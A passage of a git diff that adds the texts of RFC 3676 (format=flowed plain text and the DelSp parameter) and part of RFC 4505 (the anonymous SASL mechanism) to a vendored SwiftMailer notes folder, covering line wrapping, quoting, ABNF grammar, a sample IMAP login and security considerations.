Yes, No + + (Neither the parameter names nor values are case sensitive.) + + If Format is not specified, or if the value is not recognized, a + value of Fixed is assumed. The semantics of the Fixed value are the + usual associated with Text/Plain [MIME-IMT]. + + A Format value of Flowed indicates that the definition of flowed text + (as specified in this memo) was used on generation, and MAY be used + on reception. + + Note that because Format is a parameter of the Text/Plain content- + type, any content-transfer-encoding used is irrelevant to the + processing of flowed text. + + If DelSp is not specified, or if its value is not recognized, a value + of No is assumed. The use of DelSp without a Format value of Flowed + is undefined. When creating messages, DelSp SHOULD NOT be specified + in Text content types other than Text/Plain with Format = Flowed. + When receiving messages, DelSp SHOULD be ignored if used in a Text + content type other than Text/Plain with Format = Flowed. + + This section discusses flowed text; section 6 provides a formal + definition. + + Section 5 discusses interoperability. + + Note that this memo describes an on-the-wire format. It does not + address formats for local file storage. + + + + + + +Gellens Standards Track [Page 5] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + +4.1. Interpreting Format=Flowed + + If the first character of a line is a quote mark (">"), the line is + considered to be quoted (see Section 4.5). Logically, all quote + marks are counted and deleted, resulting in a line with a non-zero + quote depth, and content. (The agent is of course free to display + the content with quote marks or excerpt bars or anything else.) + Logically, this test for quoted lines is done before any other tests + (that is, before checking for space-stuffed and flowed). + + If the first character of a line is a space, the line has been + space-stuffed (see Section 4.4). Logically, this leading space is + deleted before examining the line further (that is, before checking + for flowed). + + If the line ends in a space, the line is flowed. Otherwise it is + fixed. The exception to this rule is a signature separator line, + described in Section 4.3. Such lines end in a space but are neither + flowed nor fixed. + + If the line is flowed and DelSp is "yes", the trailing space + immediately prior to the line's CRLF is logically deleted. If the + DelSp parameter is "no" (or not specified, or set to an unrecognized + value), the trailing space is not deleted. + + Any remaining trailing spaces are part of the line's content, but the + CRLF of a soft line break is not. + + A series of one or more flowed lines followed by one fixed line is + considered a paragraph, and MAY be flowed (wrapped and unwrapped) as + appropriate on display and in the construction of new messages (see + Section 4.5). + + An interpreting agent SHOULD allow for three exceptions to the rule + that paragraphs end with a fixed line. These exceptions are + improperly constructed messages: a flowed line SHOULD be considered + to end the paragraph if it is followed by a line of a different quote + depth (see 4.5) or by a signature separator (see 4.3); the end of the + body also ends the paragraph. + + A line consisting of one or more spaces (after deleting a space + acting as stuffing) is considered a flowed line. + + An empty line (just a CRLF) is a fixed line. + + Note that, for Unicode text, [Annex-14] provides guidance for + choosing at which characters to wrap a line. + + + + +Gellens Standards Track [Page 6] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + +4.2. Generating Format=Flowed + + When generating Format=Flowed text, lines SHOULD be 78 characters or + shorter, including any trailing white space and also including any + space added as part of stuffing (see Section 4.4). As suggested + values, any paragraph longer than 78 characters in total length could + be wrapped using lines of 72 or fewer characters. While the specific + line length used is a matter of aesthetics and preference, longer + lines are more likely to require rewrapping and to encounter + difficulties with older mailers. (It has been suggested that 66 + character lines are the most readable.) + + The restriction to 78 or fewer characters between CRLFs on the wire + is to conform to [MSG-FMT]. + + (In addition to conformance to [MSG-FMT], there is a historical need + that all lines, even when displayed by a non-flowed-aware program, + will fit in a standard 79- or 80-column screen without having to be + wrapped. The limit is 78, not 79 or 80, because while 79 or 80 fit + on a line, the last column is often reserved for a line-wrap + indicator.) + + When creating flowed text, the generating agent wraps, that is, + inserts 'soft' line breaks as needed. Soft line breaks are added at + natural wrapping points, such as between words. A soft line break is + a SP CRLF sequence. + + There are two techniques for inserting soft line breaks. The older + technique, established by RFC 2646, creates a soft line break by + inserting a CRLF after the occurrence of a space. With this + technique, soft line breaks are only possible where spaces already + occur. When this technique is used, the DelSp parameter SHOULD be + used; if used it MUST be set to "no". + + The newer technique, suitable for use even with languages/coded + character sets in which the ASCII space character is rare or not + used, creates a soft line break by inserting a SP CRLF sequence. + When this technique is used, the DelSp parameter MUST be used and + MUST be set to "yes". Note that because of space-stuffing (see + Section 4.4), when this technique is used and a soft line break is + inserted at a point where a SP already exists (such as between + words), if the SP CRLF sequence is added immediately before the SP, + the pre-existing SP becomes leading and thus requires stuffing. It + is RECOMMENDED that agents avoid this by inserting the SP CRLF + sequence following the existing SP. + + Generating agents MAY use either method within each Text/Plain body + part. + + + +Gellens Standards Track [Page 7] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + Regardless of which technique is used, a generating agent SHOULD NOT + insert a space in an unnatural location, such as into a word (a + sequence of printable characters, not containing spaces, in a + language/coded character set in which spaces are common). If faced + with such a word which exceeds 78 characters (but less than 998 + characters, the [SMTP] limit on line length), the agent SHOULD send + the word as is and exceed the 78-character limit on line length. + + A generating agent SHOULD: + + o Ensure all lines (fixed and flowed) are 78 characters or fewer in + length, counting any trailing space as well as a space added as + stuffing, but not counting the CRLF, unless a word by itself + exceeds 78 characters. + + o Trim spaces before user-inserted hard line breaks. + + A generating agent MUST: + + o Space-stuff lines which start with a space, "From ", or ">". + + In order to create messages which do not require space-stuffing, and + are thus more aesthetically pleasing when viewed as Format=Fixed, a + generating agent MAY avoid wrapping immediately before ">", "From ", + or space. + + (See Sections 4.4 and 4.5 for more information on space-stuffing and + quoting, respectively.) + + A Format=Flowed message consists of zero or more paragraphs, each + containing one or more flowed lines followed by one fixed line. The + usual case is a series of flowed text lines with blank (empty) fixed + lines between them. + + Any number of fixed lines can appear between paragraphs. + + When placing soft line breaks in a paragraph, generating agents MUST + NOT place them in a way that causes any line of the paragraph to be a + signature separator line, because paragraphs cannot contain signature + separator lines (see Sections 4.3 and 6). + + [Quoted-Printable] encoding SHOULD NOT be used with Format=Flowed + unless absolutely necessary (for example, non-US-ASCII (8-bit) + characters over a strictly 7-bit transport such as unextended + [SMTP]). In particular, a message SHOULD NOT be encoded in Quoted- + Printable for the sole purpose of protecting the trailing space on + flowed lines unless the body part is cryptographically signed or + encrypted (see Section 4.6). + + + +Gellens Standards Track [Page 8] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + The intent of Format=Flowed is to allow user agents to generate + flowed text which is non-obnoxious when viewed as pure, raw + Text/Plain (without any decoding); use of Quoted-Printable hinders + this and may cause Format=Flowed to be rejected by end users. + +4.3. Usenet Signature Convention + + There is a long-standing convention in Usenet news which also + commonly appears in Internet mail of using "-- " as the separator + line between the body and the signature of a message. When + generating a Format=Flowed message containing a Usenet-style + separator before the signature, the separator line is sent as-is. + This is a special case; an (optionally quoted or quoted and stuffed) + line consisting of DASH DASH SP is neither fixed nor flowed. + + Generating agents MUST NOT end a paragraph with such a signature + line. + + A receiving agent needs to test for a signature line both before the + test for a quoted line (see Section 4.5) and also after logically + counting and deleting quote marks and stuffing (see Section 4.4) from + a quoted line. + +4.4. Space-Stuffing + + In order to allow for unquoted lines which start with ">", and to + protect against systems which "From-munge" in-transit messages + (modifying any line which starts with "From " to ">From "), + Format=Flowed provides for space-stuffing. + + Space-stuffing adds a single space to the start of any line which + needs protection when the message is generated. On reception, if the + first character of a line is a space, it is logically deleted. This + occurs after the test for a quoted line (which logically counts and + deletes any quote marks), and before the test for a flowed line. + + On generation, any unquoted lines which start with ">", and any lines + which start with a space or "From " MUST be space-stuffed. Other + lines MAY be space-stuffed as desired. + + (Note that space-stuffing is conceptually similar to dot-stuffing as + specified in [SMTP].) + +4.5. Quoting + + In Format=Flowed, the canonical quote indicator (or quote mark) is + one or more close angle bracket (">") characters. Lines which start + with the quote indicator are considered quoted. The number of ">" + + + +Gellens Standards Track [Page 9] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + characters at the start of the line specifies the quote depth. + Flowed lines which are also quoted may require special handling on + display and when copied to new messages. + + When creating quoted flowed lines, each such line starts with the + quote indicator. + + Note that because of space-stuffing, the lines + >> Exit, Stage Left + and + >>Exit, Stage Left + are semantically identical; both have a quote-depth of two, and a + content of "Exit, Stage Left". + + However, the line + > > Exit, Stage Left + is different. It has a quote-depth of one, and a content of + "> Exit, Stage Left". + + When generating quoted flowed lines, an agent needs to pay attention + to changes in quote depth. All lines of a paragraph MUST be + unquoted, or else they MUST all be quoted and have the same quote + depth. Therefore, whenever there is a change in quote depth, or a + change from quoted to unquoted, or change from unquoted to quoted, + the line immediately preceding the change MUST NOT be a flowed line. + + If a receiving agent wishes to reformat flowed quoted lines (joining + and/or wrapping them) on display or when generating new messages, the + lines SHOULD be de-quoted, reformatted, and then re-quoted. To de- + quote, the number of close angle brackets in the quote indicator at + the start of each line is counted. To re-quote after reformatting, a + quote indicator containing the same number of close angle brackets + originally present are prefixed to each line. + + On reception, if a change in quote depth occurs on a flowed line, + this is an improperly formatted message. The receiver SHOULD handle + this error by using the 'quote-depth-wins' rule, which is to consider + the paragraph to end with the flowed line immediately preceding the + change in quote depth. + + In other words, whenever two adjacent lines have different quote + depths, senders MUST ensure that the earlier line is not flowed (does + not end in a space), and receivers finding a flowed line there SHOULD + treat it as the last line of a paragraph. + + For example, consider the following sequence of lines (using '*' to + indicate a soft line break, i.e., SP CRLF, and '#' to indicate a hard + line break, i.e., CRLF): + + + +Gellens Standards Track [Page 10] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + > Thou villainous ill-breeding spongy dizzy-eyed* + > reeky elf-skinned pigeon-egg!* <--- problem ---< + >> Thou artless swag-bellied milk-livered* + >> dismal-dreaming idle-headed scut!# + >>> Thou errant folly-fallen spleeny reeling-ripe* + >>> unmuzzled ratsbane!# + >>>> Henceforth, the coding style is to be strictly* + >>>> enforced, including the use of only upper case.# + >>>>> I've noticed a lack of adherence to the coding* + >>>>> styles, of late.# + >>>>>> Any complaints?# + + The second line ends in a soft line break, even though it is the last + line of the one-deep quote block. The question then arises as to how + this line is to be interpreted, considering that the next line is the + first line of the two-deep quote block. + + The example text above, when processed according to quote-depth wins, + results in the first two lines being considered as one quoted, flowed + section, with a quote depth of 1; the third and fourth lines become a + quoted, flowed section, with a quote depth of 2. + + A generating agent MUST NOT create this situation; a receiving agent + SHOULD handle it by giving preference to the quote depth. + +4.6. Digital Signatures and Encryption + + If a message is digitally signed or encrypted it is important that + cryptographic processing use the same text for signature verification + and/or decryption as was used for signature generation and/or + encryption. Since the use of format=flowed allows text to be altered + (by adding or removing line breaks and trailing spaces) between + composition and transmission, and between reception and display, + interoperability problems or security vulnerabilities may arise if + originator and recipient do not both use the on-the-wire format for + cryptographic processing. + + The implications of the interaction between format=flowed and any + specific cryptographic process depend on the details of the + cryptographic processing and should be understood before using + format=flowed in conjunction with signed and/or encrypted messages. + + Note that [OpenPGP] specifies (in Section 7.1) that "any trailing + whitespace (spaces, and tabs, 0x09) at the end of any line is ignored + when the cleartext signature is calculated." + + + + + + +Gellens Standards Track [Page 11] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + Thus it would be possible to add, in transit, a format=flowed header + to a regular, format=fixed vanilla PGP (not [OpenPGP-MIME]) signed + message and add arbitrary trailing space characters without this + addition being detected. This would change the rendering of the + article by a client which supported format=flowed. + + Therefore, the use of [OpenPGP] with format=flowed messages is + strongly discouraged. [OpenPGP-MIME] is recommended instead. + +4.7. Examples + + The following example contains three paragraphs: + + `Take some more tea,' the March Hare said to Alice, very + earnestly. + + `I've had nothing yet,' Alice replied in an offended tone, `so I + can't take more.' + + `You mean you can't take LESS,' said the Hatter: `it's very easy + to take MORE than nothing.' + + This could be encoded as follows (using '*' to indicate a soft line + break, that is, SP CRLF sequence, and '#' to indicate a hard line + break, that is, CRLF): + + `Take some more tea,' the March Hare said to Alice, very* + earnestly.# + # + `I've had nothing yet,' Alice replied in an offended tone, `so* + I can't take more.'# + # + `You mean you can't take LESS,' said the Hatter: `it's very* + easy to take MORE than nothing.'# + + To show an example of quoting, here we have the same exchange, + presented as a series of direct quotes: + + >>>Take some more tea.# + >>I've had nothing yet, so I can't take more.# + >You mean you can't take LESS, it's very easy to take* + >MORE than nothing.# + +5. Interoperability + + Because flowed lines are all-but-indistinguishable from fixed lines, + software which does not recognize Format=Flowed treats flowed lines + as normal Text/Plain (which is what they are). Thus, Format=Flowed + + + +Gellens Standards Track [Page 12] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + interoperates with older clients, although flowed lines will have + trailing white space inserted. + + If a space-stuffed message is received by an agent which handles + Format=Flowed, the space-stuffing is reversed and thus the message + appears unchanged. An agent which is not aware of Format=Flowed will + of course not undo any space-stuffing; thus Format=Flowed messages + may appear with a leading space on some lines (those which start with + a space, ">" which is not a quote indicator, or "From "). Since + lines which require space-stuffing rarely occur, and the aesthetic + consequences of unreversed space-stuffing are minimal, this is not + expected to be a significant problem. + + If some lines begin with one or more spaces, the generating agent MAY + space-stuff all lines, to maintain the relative indentation of the + lines when viewed by clients which are not aware of Format=Flowed. + + Messages generated with DelSp=yes and received by clients which are + aware of Format=Flowed but are not aware of the DelSp parameter will + have an extra space remaining after removal of soft line breaks. + Thus, when generating text in languages/coded character sets in which + spaces are common, the generating agent MAY always use the DelSp=no + method. + + Hand-aligned text, such as ASCII tables or art, source code, etc., + SHOULD be sent as fixed, not flowed lines. + +6. ABNF + + The constructs used in Text/Plain; Format=Flowed body parts are + described using Augmented Backus-Naur Form [ABNF], including the core + rules defined in Appendix A. + + Note that the SP (space) and ">" characters are encoded according to + the charset parameter. + +flowed-body = *( paragraph / fixed-line / sig-sep ) +paragraph = 1*flowed-line fixed-line + ; all lines in paragraph MUST be unquoted or + ; have same quote depth +flowed-line = ( flowed-line-qt / flowed-line-unqt ) flow CRLF +flowed-line-qt = quote ( ( stuffing stuffed-flowed ) / + unstuffed-flowed ) +flowed-line-unqt = ( stuffing stuffed-flowed ) / unstuffed-flowed +stuffed-flowed = *text-char +unstuffed-flowed = non-sp-quote *text-char +fixed-line = fixed-line-qt / fixed-line-unqt +fixed-line-qt = quote ( ( stuffing stuffed-fixed ) / + + + +Gellens Standards Track [Page 13] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + unstuffed-fixed ) CRLF +fixed-line-unqt = ( stuffed-fixed / unstuffed-fixed ) CRLF +stuffed-fixed = *text-char non-sp +unstuffed-fixed = non-sp-quote [ *text-char non-sp ] +sig-sep = [ quote [stuffing] ] "--" SP CRLF +quote-mark = ">" +quote = 1*quote-mark +stuffing = SP ; space-stuffed, added on generation if + ; needed, deleted on reception +flow = SP ; space before CRLF indicates flowed line, + ; if DelSp=yes, space was added on generation + ; and is deleted on reception +non-sp-quote = < any character except NUL, CR, LF, SP, quote-mark > +non-sp = non-sp-quote / quote-mark +text-char = non-sp / SP + + That is, a Format=Flowed message body consists of any number of + paragraphs and/or fixed lines and/or signature separator lines; + paragraphs need at least one flowed line and are terminated by a + fixed line; the fixed line terminating the paragraph is part of the + paragraph. (There are some exceptions to this described in the + text.) + + Without at least one flowed line, there is a series of fixed lines, + each independent. There is no paragraph. + + With at least one flowed line, there is a paragraph, and the received + lines can be reformed and flowed to fit the display window size. + This can only be done if the lines are part of a logical grouping, + the paragraph. + + Note that the definitions of flowed-line and sig-sep are potentially + ambiguous: a signature separator line matches both, but is treated as + a signature separator line and not a flowed line. + +7. Failure Modes + +7.1. Trailing White Space Corruption + + There are systems in existence which alter trailing whitespace on + messages which pass through them. Such systems may strip, or in + rarer cases, add trailing whitespace, in violation of RFC 2821 [SMTP] + Section 4.5.2. + + Stripping trailing whitespace has the effect of converting flowed + lines to fixed lines, which results in a message no worse than if + Format=Flowed had not been used. + + + + +Gellens Standards Track [Page 14] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + Adding trailing whitespace to a Format=Flowed message may result in a + malformed display or reply. + + Since most systems which add trailing white space do so to create a + line which fills an internal record format, the result is almost + always a line which contains an even number of characters (counting + the added trailing white space). + + One possible avoidance, therefore, would be to define Format=Flowed + lines to use either one or two trailing space characters to indicate + a flowed line, such that the total line length is odd. However, + considering the scarcity of such systems today, it is not worth the + added complexity. + +8. Security Considerations + + Any security considerations which apply to Text/Plain also apply to + Text/Plain with Format=Flowed. + + Section 4.6 discusses the interaction between Format=Flowed and + digital signatures or encryption. + +9. IANA Considerations + + IANA has added a reference to this specification in the Text/Plain + Media Type registration. + +10. Internationalization Considerations + + The line wrap and quoting specifications of Format=Flowed may not be + suitable for certain charsets, such as for Arabic and Hebrew + characters that read from right to left. Care needs to be taken in + applying format=flowed in these cases, as format=fixed combined with + [quoted-printable] encoding may be more suitable. + + The DelSp parameter was added specifically to permit Format=Flowed to + be used with languages/coded character sets in which the ASCII space + character is rarely used, or not used at all. + +11. Acknowledgments + + The DelSp parameter was developed during a series of discussions + among a number of people, including Harald Alvestrand, Grant Baillie, + Ian Bell, Steve Dorner, Patrik Faltstrom, Eric Fischer, Ned Freed, + Alexey Melnikov, John Myers, and Pete Resnick. + + + + + + +Gellens Standards Track [Page 15] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + Corrections and clarifications to RFC 2646 and early versions of this + document were pointed out by several people, including Adam Costello, + Jutta Degener, Tony Hansen, Simon Josefsson, Dan Kohn, Ragho + Mahalingam, Keith Moore, Greg Troxel, and Dan Wing. + + I'm told that NeXT's mail application used a very similar mechanism + (without support for non-Western languages) in 1992. + +12. Normative References + + [ABNF] Crocker, D., Ed. and P. Overell, "Augmented BNF + for Syntax Specifications: ABNF", RFC 2234, + November 1997. + + [KEYWORDS] Bradner, S., "Key words for use in RFCs to + Indicate Requirement Levels", BCP 14, RFC 2119, + March 1997. + + [MIME-IMT] Freed, N. and N. Borenstein, "Multipurpose + Internet Mail Extensions (MIME) Part Two: Media + Types", RFC 2046, November 1996. + + [Quoted-Printable] Freed, N. and N. Borenstein, "Multipurpose + Internet Mail Extensions (MIME) Part One: Format + of Internet Message Bodies", RFC 2045, November + 1996. + +13. Informative References + + [Annex-14] Unicode Standard Annex #14, "Line Breaking + Properties" + + + [MSG-FMT] Resnick, P., Ed., "Internet Message Format", RFC + 2822, April 2001. + + [OpenPGP] Callas, J., Donnerhacke, L., Finney, H. and R. + Thayer, "OpenPGP Message Format", RFC 2440, + November 1998. + + [OpenPGP-MIME] Elkins, M., "MIME Security with Pretty Good + Privacy (PGP)", RFC 2015, October 1996. + + Elkins, M., Del Torto, D., Levien, R. and J. + Roessler, "MIME Security with OpenPGP", RFC 3156, + August 2001. + + + + + +Gellens Standards Track [Page 16] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + [Rich] Resnick, P. and A. Walker, "The text/enriched MIME + Content-type", RFC 1896, February 1996. + + [SMTP] Klensin, J., Ed., "Simple Mail Transfer Protocol", + RFC 2821, April 2001. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Gellens Standards Track [Page 17] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + +Appendix A: Changes from RFC 2646 + + Substantive: + + o Added DelSp parameter to handle languages and coded character sets + in which space is less common or not used. + o Updated text on generating and interpreting to accommodate the + DelSp parameter. + o Changed the limits of 79 or 80 to be 78 in conformance with RFC + 2822. + o Added text on generating to clarify that the 78-character limit + includes trailing white space and stuffing. + o Changed sig-sep in ABNF to allow stuffing. + o Changed fixed-line to allow empty lines in ABNF. + o Added explanatory text following ABNF. + o Moved text from Abstract to new Introduction; rewrote Abstract. + o Moved interoperability text to new section, and updated. + o Clarified Security Considerations. + o Text on digital signatures now discusses that OpenPGP ignores + trailing white space. + o Mention Unicode Annex 14. + o Added mention of quoting to Abstract and Introduction. + o Deleted line analysis table. + o Added recommendations for OpenPGP and OpenPGP-MIME. + o Rewrote ABNF rules to remove most ambiguity and note remaining + case. + o Added note that c-t-e is irrelevant to flowed text processing. + o Added text indicating that end of data terminates a paragraph. + o Moved sig-sep out of fixed-line ABNF. + o Changed some SHOULDs to MUSTs (space-stuffing, quoted paragraphs). + o Added note to ABNF that space and ">" are encoded according to + charset. + o Mentioned exceptions in section on interpreting. + o Clarified and made consistent treatment of signature separator + lines. + + Editorial: + + o Added mention of NeXT's mail application to Acknowledgments. + o Updated Acknowledgments. + o Updated [SMTP] reference to 2821. + o Added Notices. + o Split References into Normative and Informative. + o Improved text wording in some areas. + o Standardize on "quote depth", not "quoting depth". + o Moved section on interpreting before section on generating. + o Reworded non-normative "should"s. + o Noted meaning of "paragraph". + + + +Gellens Standards Track [Page 18] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + + The DelSp parameter was added specifically to permit Format=Flowed to + be used with languages/coded character sets in which the ASCII space + character is rarely used, or not used at all. The DelSp mechanism + was selected despite having been initially rejected as too much of a + kludge, because among the many different techniques proposed, it + allows for maximum interoperability among clients which support + neither this specification nor RFC 2646, those which do support RFC + 2646 but not this specification, and those that do support this + specification; this set is multiplied by those that handle + languages/coded character sets in which spaces are common, and in + which they are uncommon or not used. + +Author's Address + + Randall Gellens + QUALCOMM Incorporated + 5775 Morehouse Drive + San Diego, CA 92121 + USA + + Phone: +1 858 651 5115 + EMail: randy@qualcomm.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Gellens Standards Track [Page 19] + +RFC 3676 Text/Plain Format and DelSp Parameters February 2004 + + +Full Copyright Statement + + Copyright (C) The Internet Society (2004). This document is subject + to the rights, licenses and restrictions contained in BCP 78 and + except as set forth therein, the authors retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE + REPRESENTS OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY AND THE + INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF + THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed + to pertain to the implementation or use of the technology + described in this document or the extent to which any license + under such rights might or might not be available; nor does it + represent that it has made any independent effort to identify any + such rights. Information on the procedures with respect to + rights in RFC documents can be found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use + of such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository + at http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention + any copyrights, patents or patent applications, or other + proprietary rights that may cover technology that may be required + to implement this standard. Please address the information to the + IETF at ietf-ipr@ietf.org. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + + + +Gellens Standards Track [Page 20] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4505.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4505.txt new file mode 100644 index 00000000..6b8a4a11 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4505.txt @@ -0,0 +1,507 @@ + + + + + + +Network Working Group K. Zeilenga, Ed. +Request for Comments: 4505 OpenLDAP Foundation +Obsoletes: 2245 June 2006 +Category: Standards Track + + + Anonymous Simple Authentication and Security Layer (SASL) Mechanism + +Status of This Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (2006). + +Abstract + + On the Internet, it is common practice to permit anonymous access to + various services. Traditionally, this has been done with a plain- + text password mechanism using "anonymous" as the user name and using + optional trace information, such as an email address, as the + password. As plain-text login commands are not permitted in new IETF + protocols, a new way to provide anonymous login is needed within the + context of the Simple Authentication and Security Layer (SASL) + framework. + +1. Introduction + + This document defines an anonymous mechanism for the Simple + Authentication and Security Layer ([SASL]) framework. The name + associated with this mechanism is "ANONYMOUS". + + Unlike many other SASL mechanisms, whose purpose is to authenticate + and identify the user to a server, the purpose of this SASL mechanism + is to allow the user to gain access to services or resources without + requiring the user to establish or otherwise disclose their identity + to the server. That is, this mechanism provides an anonymous login + method. + + This mechanism does not provide a security layer. + + This document replaces RFC 2245. Changes since RFC 2245 are detailed + in Appendix A. + + + +Zeilenga Standards Track [Page 1] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + +2. The Anonymous Mechanism + + The mechanism consists of a single message from the client to the + server. The client may include in this message trace information in + the form of a string of [UTF-8]-encoded [Unicode] characters prepared + in accordance with [StringPrep] and the "trace" stringprep profile + defined in Section 3 of this document. The trace information, which + has no semantical value, should take one of two forms: an Internet + email address, or an opaque string that does not contain the '@' + (U+0040) character and that can be interpreted by the system + administrator of the client's domain. For privacy reasons, an + Internet email address or other information identifying the user + should only be used with permission from the user. + + A server that permits anonymous access will announce support for the + ANONYMOUS mechanism and allow anyone to log in using that mechanism, + usually with restricted access. + + A formal grammar for the client message using Augmented BNF [ABNF] is + provided below as a tool for understanding this technical + specification. + + message = [ email / token ] + ;; to be prepared in accordance with Section 3 + + UTF1 = %x00-3F / %x41-7F ;; less '@' (U+0040) + UTF2 = %xC2-DF UTF0 + UTF3 = %xE0 %xA0-BF UTF0 / %xE1-EC 2(UTF0) / + %xED %x80-9F UTF0 / %xEE-EF 2(UTF0) + UTF4 = %xF0 %x90-BF 2(UTF0) / %xF1-F3 3(UTF0) / + %xF4 %x80-8F 2(UTF0) + UTF0 = %x80-BF + + TCHAR = UTF1 / UTF2 / UTF3 / UTF4 + ;; any UTF-8 encoded Unicode character + ;; except '@' (U+0040) + + email = addr-spec + ;; as defined in [IMAIL] + + token = 1*255TCHAR + + Note to implementors: + The production is restricted to 255 UTF-8-encoded Unicode + characters. As the encoding of a characters uses a sequence of 1 + to 4 octets, a token may be as long as 1020 octets. + + + + + +Zeilenga Standards Track [Page 2] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + +3. The "trace" Profile of "Stringprep" + + This section defines the "trace" profile of [StringPrep]. This + profile is designed for use with the SASL ANONYMOUS Mechanism. + Specifically, the client is to prepare the production in + accordance with this profile. + + The character repertoire of this profile is Unicode 3.2 [Unicode]. + + No mapping is required by this profile. + + No Unicode normalization is required by this profile. + + The list of unassigned code points for this profile is that provided + in Appendix A of [StringPrep]. Unassigned code points are not + prohibited. + + Characters from the following tables of [StringPrep] are prohibited: + + - C.2.1 (ASCII control characters) + - C.2.2 (Non-ASCII control characters) + - C.3 (Private use characters) + - C.4 (Non-character code points) + - C.5 (Surrogate codes) + - C.6 (Inappropriate for plain text) + - C.8 (Change display properties are deprecated) + - C.9 (Tagging characters) + + No additional characters are prohibited. + + This profile requires bidirectional character checking per Section 6 + of [StringPrep]. + +4. Example + + Here is a sample ANONYMOUS login between an IMAP client and server. + In this example, "C:" and "S:" indicate lines sent by the client and + server, respectively. If such lines are wrapped without a new "C:" + or "S:" label, then the wrapping is for editorial clarity and is not + part of the command. + + Note that this example uses the IMAP profile [IMAP4] of SASL. The + base64 encoding of challenges and responses as well as the "+ " + preceding the responses are part of the IMAP4 profile, not part of + SASL itself. Additionally, protocols with SASL profiles permitting + an initial client response will be able to avoid the extra round trip + below (the server response with an empty "+ "). + + + + +Zeilenga Standards Track [Page 3] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + + In this example, the trace information is "sirhc". + + S: * OK IMAP4 server ready + C: A001 CAPABILITY + S: * CAPABILITY IMAP4 IMAP4rev1 AUTH=DIGEST-MD5 AUTH=ANONYMOUS + S: A001 OK done + C: A002 AUTHENTICATE ANONYMOUS + S: + + C: c2lyaGM= + S: A003 OK Welcome, trace information has been logged. + +5. Security Considerations + + The ANONYMOUS mechanism grants access to services and/or resources by + anyone. For this reason, it should be disabled by default so that + the administrator can make an explicit decision to enable it. + + If the anonymous user has any write privileges, a denial-of-service + attack is possible by filling up all available space. This can be + prevented by disabling all write access by anonymous users. + + If anonymous users have read and write access to the same area, the + server can be used as a communication mechanism to exchange + information anonymously. Servers that accept anonymous submissions + should implement the common "drop box" model, which forbids anonymous + read access to the area where anonymous submissions are accepted. + + If the anonymous user can run many expensive operations (e.g., an + IMAP SEARCH BODY command), this could enable a denial-of-service + attack. Servers are encouraged to reduce the priority of anonymous + users or limit their resource usage. + + While servers may impose a limit on the number of anonymous users, + note that such limits enable denial-of-service attacks and should be + used with caution. + + The trace information is not authenticated, so it can be falsified. + This can be used as an attempt to get someone else in trouble for + access to questionable information. Administrators investigating + abuse need to realize that this trace information may be falsified. + + A client that uses the user's correct email address as trace + information without explicit permission may violate that user's + privacy. Anyone who accesses an anonymous archive on a sensitive + subject (e.g., sexual abuse) likely has strong privacy needs. + Clients should not send the email address without the explicit + permission of the user and should offer the option of supplying no + trace information, thus only exposing the source IP address and time. + + + +Zeilenga Standards Track [Page 4] + +RFC 4505 Anonymous SASL Mechanism June 2006 + + + Anonymous proxy servers could enhance this privacy but would have to + consider the resulting potential denial-of-service attacks. + + Anonymous connections are susceptible to man-in-the-middle attacks + that view or alter the data transferred. Clients and servers are + encouraged to support external data security services. + + Protocols that fail to require an explicit anonymous login are more + susceptible to break-ins given certain common implementation + techniques. Specifically, Unix servers that offer user login may + initially start up as root and switch to the appropriate user id + after an explicit login command. Normally, such servers refuse all + data access commands prior to explicit login and may enter a + restricted security environment (e.g., the Unix chroot(2) function) + for anonymous users. If anonymous access is not explicitly + requested, the entire data access machinery is exposed to external + security attacks without the chance for explicit protective measures. + Protocols that offer restricted data access should not allow + anonymous data access without an explicit login step. + + General [SASL] security considerations apply to this mechanism. + + [StringPrep] security considerations and [Unicode] security + considerations discussed in [StringPrep] apply to this mechanism. + [UTF-8] security considerations also apply. + +6. IANA Considerations + + The SASL Mechanism registry [IANA-SASL] entry for the ANONYMOUS + mechanism has been updated by the IANA to reflect that this document + now provides its technical specification. + + To: iana@iana.org + Subject: Updated Registration of SASL mechanism ANONYMOUS + + SASL 